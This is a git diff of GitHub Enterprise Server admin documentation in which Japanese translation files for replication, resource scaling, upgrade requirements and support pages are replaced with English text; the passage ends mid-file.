On the second replica: ```shell (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] ``` {% tip %} - **ヒント:** `--datacenter` と `--active` のオプションは同時に設定できます。 + **Tip:** You can set the `--datacenter` and `--active` options at the same time. {% endtip %} -4. アクティブなレプリカノードは、アプライアンスデータのコピーを保存し、エンドユーザーのリクエストに応じます。 アクティブではないノードは、アプライアンスデータのコピーを保存しますが、エンドユーザーのリクエストに応じることはできません。 `--active` フラグを使用してアクティブモードを有効にするか、`--inactive` フラグを使用して非アクティブモードを有効にします。 +4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. - 1 番目のレプリカでは以下のコマンドを実行します。 + On the first replica: ```shell (replica1)$ ghe-repl-node --active ``` - 2 番目のレプリカでは以下のコマンドを実行します。 + On the second replica: ```shell (replica2)$ ghe-repl-node --active ``` -5. 設定を適用するには、プライマリで `ghe-config-apply` コマンドを使用します。 +5. To apply the configuration, use the `ghe-config-apply` command on the primary. ```shell (primary)$ ghe-config-apply ``` -## Geo-replicationのためのDNSの設定 +## Configuring DNS for geo-replication -プライマリとレプリカノードの IP アドレスを使って、Geo DNS を設定します。 SSH でプライマリノードにアクセスしたり、`backup-utils` でバックアップするために、プライマリノード (たとえば、`primary.github.example.com`) に対して DNS CNAME を作成することもできます。 +Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. -テストのために、ローカルワークステーションの `hosts` ファイル (たとえば、`/etc/hosts`) にエントリを追加することができます。 以下の例のエントリでは、`HOSTNAME` に対するリクエストが `replica2` に決定されることになります。 別の行をコメントアウトすることで、特定のホストをターゲットにすることができます。 +For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. ``` # HOSTNAME @@ -95,8 +95,8 @@ shortTitle: Create HA replica HOSTNAME ``` -## 参考リンク +## Further reading -- "[High Availability設定について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)" -- "[レプリケーション管理のユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" -- 「[Geo-replication について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)」 +- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)" +- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)" diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md index 5ba2699843..c6425f3a22 100644 --- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md +++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -1,6 +1,6 @@ --- -title: CPUあるいはメモリリソースの増加 -intro: '{% data variables.product.product_location_enterprise %}での処理が遅いなら、CPUあるいはメモリリソースを追加する必要があるかもしれません。' +title: Increasing CPU or memory resources +intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' redirect_from: - /enterprise/admin/installation/increasing-cpu-or-memory-resources - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources @@ -14,62 +14,62 @@ topics: - Performance shortTitle: Increase CPU or memory --- - {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} -## AWSでのCPUあるいはメモリリソースの追加 +## Adding CPU or memory resources for AWS {% note %} -**ノート:** AWSでCPUあるいはメモリリソースを追加するには、EC2インスタンスを管理するためにAWSのマネージメントコンソールもしくは`aws ec2`コマンドラインインターフェースのいずれかの利用に慣れていなければなりません。 リサイズを行うための好みのAWSツールの利用の背景と詳細については、[Amazon EBS-Backed インスタンスのサイズ変更](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-resize.html)にあるAWSのドキュメンテーションを参照してください。 +**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). {% endnote %} -### リサイズについての考慮 +### Resizing considerations -{% data variables.product.product_location %} の CPU またはメモリリソースを増加させる前に、以下のことを行ってください: +Before increasing CPU or memory resources for {% data variables.product.product_location %}, review the following recommendations. -- **CPUでメモリをスケーリングします**。 {% data reusables.enterprise_installation.increasing-cpus-req %} -- **Elastic IP アドレスをインスタンスに割り当てます**。 Elastic IP が割り当てられていない場合は、パブリック IP アドレスでの変更を考慮して、再起動後に {% data variables.product.prodname_ghe_server %} ホストの DNS A レコードを調整する必要があります。 インスタンスがVPC内で起動していれば、インスタンスが再起動してもElastic IP（EIP）は自動的に保持されます。 インスタンスがEC2-Classic内で起動されていれば、Elastic IPは手動で際割り当てが必要です。 +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. -### サポートされているAWSインスタンスタイプ +### Supported AWS instance types -アップグレードするインスタンスタイプは、CPU／メモリの仕様に基づいて決定しなければなりません。 +You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -### AWSでのリサイズ +### Resizing for AWS {% note %} -**ノート:**EC2-Classicで起動されたインスタンスについては、インスタンスに関連づけられたElastic IPアドレスとインスタンスIPの両方を書き留めておいてください。 インスタンスを再起動したなら、Elastic IPのアドレスを再割り当てしてください。 +**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. {% endnote %} -既存の AWS/EC2 インスタンスに CPU またはメモリリソースを追加することはできません。 その代わりに、以下を行う必要があります: +It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: -1. インスタンスを停止する。 -2. インスタンスタイプを変更する。 -3. インスタンスを起動します。 +1. Stop the instance. +2. Change the instance type. +3. Start the instance. {% data reusables.enterprise_installation.configuration-recognized %} -## OpenStack KVMでのCPUあるいはメモリリソースの追加 +## Adding CPU or memory resources for OpenStack KVM -既存の OpenStack KVM インスタンスに CPU またはメモリリソースを追加することはできません。 その代わりに、以下を行う必要があります: +It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: -1. 現在のインスタンスのスナップショットを取る。 -2. インスタンスを停止する。 -3. 希望するCPUやメモリリソースを持つ新しいインスタンスフレーバーを選択する。 +1. Take a snapshot of the current instance. +2. Stop the instance. +3. Select a new instance flavor that has the desired CPU and/or memory resources. -## VMware の CPU またはメモリリソースを追加する +## Adding CPU or memory resources for VMware {% data reusables.enterprise_installation.increasing-cpus-req %} -1. vSphere Clientを使ってVMware ESXiホストに接続してください。 -2. {% data variables.product.product_location %}をシャットダウンしてください。 -3. 仮想マシンを選択し、 **Edit Settings（設定の編集）**をクリックしてください。 -4. "Hardware"の下で、必要に応じて仮想マシンに割り当てられたCPUやメモリリソースを調整してください。![VMWareのセットアップリソース](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) -5. 仮想マシンを起動するには、[**OK**] をクリックします。 +1. Use the vSphere Client to connect to the VMware ESXi host. +2. Shut down {% data variables.product.product_location %}. +3. Select the virtual machine and click **Edit Settings**. +4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: +![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. To start the virtual machine, click **OK**. {% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 7c08ecb05c..829cdf411e 100644 --- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -1,6 +1,6 @@ --- -title: アップグレードの要求事項 -intro: '{% data variables.product.prodname_ghe_server %} をアップグレードする前に、アップグレードの方針を計画するために以下の推奨事項と要求事項をレビューしてください。' +title: Upgrade requirements +intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.' redirect_from: - /enterprise/admin/installation/upgrade-requirements - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release/ @@ -13,39 +13,37 @@ topics: - Enterprise - Upgrades --- - {% note %} -**ノート:** -- {% data variables.product.prodname_enterprise %} 11.10.348 から {% data variables.product.current-340-version %} までからアップグレードするためには、まず {% data variables.product.prodname_enterprise %} 2.1.23 に移行しなければなりません。 詳細は「[{% data variables.product.prodname_enterprise %} 11.10.x から 2.1.23 へ移行する](/enterprise/{{ currentVersion }}/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23)」を参照してください。 -- サポートされているバージョンについては、アップグレードパッケージが [enterprise.github.com](https://enterprise.github.com/releases) から利用できます。 アップグレードを完了するには、必要なアップグレードパッケージが利用できることを確認してください。 パッケージが利用できない場合は{% data variables.contact.contact_ent_support %}に連絡して支援を求めてください。 -- {% data variables.product.prodname_ghe_server %} クラスタリングを利用している場合は、クラスタリングに固有の手順については {% data variables.product.prodname_ghe_server %} クラスタリングガイド中の「[クラスタをアップグレードする](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)」を参照してください。 -- {% data variables.product.prodname_ghe_server %} のリリースノートには、{% data variables.product.prodname_ghe_server %} のすべてのバージョンの新機能の包括的なリストがあります。 詳しい情報については[リリースページ](https://enterprise.github.com/releases)を参照してください。 +**Notes:** +- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. +- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} -## 推奨される対応 +## Recommendations -- アップグレードのプロセスに含めるアップグレードは、できるだけ少なくしてください。 たとえば {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} から {{ enterpriseServerReleases.supported[1] }} を経て {{ enterpriseServerReleases.latest }} にアップグレードする代わりに、{% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} から {{ enterpriseServerReleases.latest }} にアップグレードできます。 -- バージョンが数バージョン古いのであれば、{% data variables.product.product_location %}をアップグレードのプロセスの各ステップでできる限り先までアップグレードしてください。 各アップグレードで可能な限りの最新バージョンを使うことで、パフォーマンスの改善やバグフィックスのメリットが得られます。 たとえば{% data variables.product.prodname_enterprise %}2.7から2.8を経て2.10へアップグレードすることができますが、{% data variables.product.prodname_enterprise %}2.7から2.9を経て2.10へのアップグレードすれば、2番目のステップでより新しいバージョンを利用できます。 -- アップグレードの際には、最新のパッチリリースを使ってください。 {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} -- アップグレードのステップのテストには、ステージングインスタンスを使ってください。 詳しい情報については "[ステージングインスタンスのセットアップ](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)"を参照してください。 -- 複数のアップグレードを実行する場合は、機能のアップグレードの間に少なくとも 24 時間待って、データ移行とバックグラウンドで実行されているアップグレードタスクが完全に完了するようにします。 +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. +- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} +- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." +- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. -## 要件 +## Requirements -- アップグレードは、**最大でも**2リリース前のフィーチャリリースから行わなければなりません。 たとえば {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }} にアップグレードするためには、{% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} あるいは {{ enterpriseServerReleases.supported[2] }} となっていなければなりません。 +- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. - {% data reusables.enterprise_installation.hotpatching-explanation %} -- ホットパッチは、影響するサービス（カーネル、MySQL、Elasticsearchなど）がVMの再起動やサービスの再起動を必要とするなら、ダウンタイムが必要になります。 リブートや再起動が必要になったときには通知されます。 リブートや再起動は後で完了させることができます。 -- ホットパッチでアップグレードをする場合、アップグレードの完了までに特定のサービスの複数バージョンがインストールされることから、追加のルートストレージが利用できなければなりません。 十分なルートディスクストレージがなければ、事前チェックで通知されます。 -- ホットパッチでアップグレードする場合、インスタンスの負荷は高すぎてはなりません。もし負荷が高すぎると、ホットパッチのプロセスに影響するかもしれません。 事前チェックはロードアベレージを考慮し、ロードアベレージが高すぎればアップグレードは失敗します。- {% data variables.product.prodname_ghe_server %} 2.17へのアップグレードによって、Audit logがElasticsearchからMySQLへ移行されます。 この移行により、スナップショットの復元に必要な時間とディスク容量も増加します。 移行の前に、次のコマンドでElasticsearch監査ログのインデックスでバイト数を確認してください。 +- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. +- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. +- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. Pre-flight checks will consider the load average and the upgrade will fail if the load average is too high.- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command: ``` shell curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes ``` -MySQLの監査ログで必要なディスク容量の概算には、この数字を使用します。 スクリプトは、インポートの進行中に空きディスク容量も監視します。 この数字を監視しておくと、空きディスク容量が、移行に必要なディスク容量に近い場合に特に便利です。 +Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration. {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## 次のステップ +## Next steps -これらの推奨および要求事項をレビューした後で、{% data variables.product.prodname_ghe_server %} をアップグレードできます。 詳細は「[{% data variables.product.prodname_ghe_server %} をアップグレードする](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)」を参照してください。 +After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." diff --git a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md index 251cd961fa..c13b7e3a23 100644 --- a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md +++ b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise Supportについて -intro: '{% data variables.contact.github_support %} は、{% data variables.product.product_name %} で発生した問題のトラブルシューティングに役立ちます。' +title: About GitHub Enterprise Support +intro: '{% data variables.contact.github_support %} can help you troubleshoot issues that arise on {% data variables.product.product_name %}.' redirect_from: - /enterprise/admin/enterprise-support/about-github-enterprise-support - /admin/enterprise-support/about-github-enterprise-support @@ -13,82 +13,81 @@ topics: - Support shortTitle: GitHub Enterprise Support --- - {% note %} -**注釈**: {% data reusables.support.data-protection-and-privacy %} +**Note**: {% data reusables.support.data-protection-and-privacy %} {% endnote %} -## {% data variables.contact.enterprise_support %} について +## About {% data variables.contact.enterprise_support %} -{% data variables.product.product_name %} には英語{% ifversion ghes %}と日本語の {% data variables.contact.enterprise_support %} が含まれます{% endif %}。 +{% data variables.product.product_name %} includes {% data variables.contact.enterprise_support %} in English{% ifversion ghes %} and Japanese{% endif %}. {% ifversion ghes %} You can contact {% data variables.contact.enterprise_support %} through {% data variables.contact.contact_enterprise_portal %} for help with: - - {% data variables.product.product_name %} のインストールと利用 - - 調査対象となっているエラーの原因の特定および検証 + - Installing and using {% data variables.product.product_name %} + - Identifying and verifying the causes of suspected errors -{% data variables.contact.enterprise_support %} から得られるすべてのメリットに加えて、{% data variables.product.product_name %} の {% data variables.contact.premium_support %} サポートでは次の機能が提供されます。 - - GitHub Enterprise サポートページを通じた書面による 24 時間 365 日のサポート - - 24 時間 365 日の電話サポート - - 初回応答時間が保証されるサービスレベルアグリーメント (SLA) - - Customer Reliability Engineers - - プレミアムコンテンツへのアクセス - - 定期的なヘルスチェック - - 管理者稼働時間のマネジメント +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} support for {% data variables.product.product_name %} offers: + - Written support through our support portal 24 hours per day, 7 days per week + - Phone support 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Customer Reliability Engineers + - Access to premium content + - Scheduled health checks + - Managed Admin hours {% endif %} {% ifversion ghes %} -詳細は、「[{% data variables.product.prodname_ghe_server %}の{% data variables.contact.premium_support %}について](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)」を参照してください。 +For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." {% endif %} {% data reusables.support.scope-of-support %} -## {% data variables.contact.enterprise_support %} への連絡 +## Contacting {% data variables.contact.enterprise_support %} {% ifversion ghes %} {% data reusables.support.zendesk-old-tickets %} {% endif %} -{% ifversion ghes %}{% data variables.contact.contact_enterprise_portal %}{% elsif ghae %}{% data variables.contact.ae_azure_portal %}{% endif %} を通じて {% data variables.contact.enterprise_support %} に連絡し、問題を書面でレポートすることができます。 詳しい情報については、「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」を参照してください。 +You can contact {% data variables.contact.enterprise_support %} through {% ifversion ghes %}{% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.ae_azure_portal %}{% endif %} to report issues in writing. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." {% ifversion ghes %} -## 営業時間 +## Hours of operation -### 英語でのサポート +### Support in English -緊急ではない標準的な問題の場合、英語でのサポートは週末とアメリカの休日をのぞく週 5 日 24 時間提供しています。 （アメリカの祝日は除く） 返信までの標準的な時間は 24 時間です。 +For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. -緊急の問題については、米国の祝日を含む、24時間年中無休で対応しています。 （アメリカの祝日は除く） +For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. -### 日本語でのサポート +### Support in Japanese -緊急ではない問題については、日本語でのサポートを月曜日から金曜日、日本時間午前9:00から午後5:00まで提供します。これは日本の国民の祝日を除きます。 緊急の問題については、アメリカの祝日を含む、24時間年中無休で英語でサポートを提供しています。 （アメリカの祝日は除く） +For non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. -また、 {% data variables.contact.enterprise_support %} におけるアメリカおよび日本の祝日の完全なリストは「[休日のスケジュール](#holiday-schedules)」を参照してください。 +For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)." -## 休日のスケジュール +## Holiday schedules -緊急の問題については、アメリカおよび日本の祝日を含め、24時間年中無休で英語で対応します。 - +For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. -### アメリカ合衆国の祝日 +### Holidays in the United States -{% data variables.contact.enterprise_support %} は、以下の米国の祝日を休日としています。 ただし、緊急サポートチケットにはグローバルサポートチームが対応しています。 +{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. {% data reusables.enterprise_enterprise_support.support-holiday-availability %} -### 日本の祝日 +### Holidays in Japan -{% data variables.contact.enterprise_support %} は、12月28日～1月3日、および「[国民の祝日について-内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html)」に記載されている祝日は、日本語サポートを提供していません。 +{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). {% data reusables.enterprise_enterprise_support.installing-releases %} {% endif %} -## サポートチケットへの優先度の割り当て +## Assigning a priority to a support ticket -{% data variables.contact.enterprise_support %} へのお問い合わせ時に、チケットの優先度を {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% data variables.product.support_ticket_priority_low %} の 4 つから選択できます。 +When you contact {% data variables.contact.enterprise_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} @@ -98,14 +97,14 @@ You can contact {% data variables.contact.enterprise_support %} through {% data {% data reusables.support.ghae-priorities %} {% endif %} -## サポートチケットの解決とクローズ +## Resolving and closing support tickets {% data reusables.support.enterprise-resolving-and-closing-tickets %} -## 参考リンク +## Further reading {% ifversion ghes %} -- [{% data variables.product.prodname_ghe_server %} ライセンスアグリーメント](https://enterprise.github.com/license)のサポートに関するセクション 10{% endif %} -- 「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」{% ifversion ghes %} -- 「[チケットのサブミットの準備](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)」{% endif %} -- [チケットのサブミット](/enterprise/admin/guides/enterprise-support/submitting-a-ticket) +- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)"{% endif %} +- "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)"{% ifversion ghes %} +- "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)"{% endif %} +- "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)" diff --git a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md index 9c4a60d1e5..c26d306359 100644 --- a/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md +++ b/translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise ServerのGitHub Premium Supportについて -intro: '{% data variables.contact.premium_support %} は、{% data variables.product.prodname_enterprise %} のお客様のための有料の補足的なサポートです。' +title: About GitHub Premium Support for GitHub Enterprise Server +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' redirect_from: - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise/ - /enterprise/admin/guides/enterprise-support/about-premium-support/ @@ -14,28 +14,27 @@ topics: - Support shortTitle: Premium Support for GHES --- - {% note %} -**ノート:** +**Notes:** -- {% data variables.contact.premium_support %} の規約は 2018 年 9 月に発効しています。この規約は、予告なく変更されることがあります。 {% data variables.contact.premium_support %} を 2018 年 9 月 17 日以前に購入した場合、プランは異なるかもしれません。 詳細については {% data variables.contact.premium_support %} にお問い合わせください。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, your plan might be different. Contact {% data variables.contact.premium_support %} for more details. - {% data reusables.support.data-protection-and-privacy %} -- この記事に記載されているのは、{% data variables.product.prodname_ghe_server %} のお客様向け {% data variables.contact.premium_support %} 規約です。 {% data variables.product.prodname_ghe_server %} および {% data variables.product.prodname_ghe_cloud %} を一緒に購入された {% data variables.product.prodname_ghe_cloud %} または {% data variables.product.prodname_enterprise %} のお客様に対する規約は異なる場合があります。 詳しい情報については、「{% data variables.product.prodname_ghe_cloud %}の{% data variables.contact.premium_support %}について」および「[{% data variables.product.prodname_enterprise %}の{% data variables.contact.premium_support %}について](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)」を参照してください。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)." {% endnote %} -## {% data variables.contact.premium_support %} について +## About {% data variables.contact.premium_support %} -{% data variables.contact.enterprise_support %} のすべての利点に加えて、{% data variables.contact.premium_support %} は以下を提供します: - - GitHub Enterprise サポートページを通じた文面 (英語) での 24 時間 365 日のサポート - - 24 時間 365 日の英語での電話サポート - - 初回応答時間が保証されるサービスレベルアグリーメント (SLA) - - プレミアムコンテンツへのアクセス - - 定期的なヘルスチェック - - 管理されたサービス +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -45,25 +44,25 @@ shortTitle: Premium Support for GHES {% data reusables.support.contacting-premium-support %} -## 営業時間 +## Hours of operation -{% data variables.contact.premium_support %} は、24 時間 365 日利用できます。 {% data variables.contact.premium_support %} を 2018 年 9 月 17 日以前に購入した場合、休日のサポートは限定されます。 {% data variables.contact.premium_support %} の休日に関する情報については、「[{% data variables.contact.github_support %} について](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)」の休日スケジュールを参照してください。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)." {% data reusables.support.service-level-agreement-response-times %} {% data reusables.enterprise_enterprise_support.installing-releases %} -適用されるライセンスアグリーメントの Supported Releasesセクションに従い、{% data variables.contact.premium_support %} への発注から 90 日以内に {% data variables.product.prodname_ghe_server %} の最小限のサポートされるバージョンをインストールしなければなりません。 +You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. -## サポートチケットへの優先度の割り当て +## Assigning a priority to a support ticket -{% data variables.contact.premium_support %} へのお問い合わせ時に、チケットの優先度を {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% 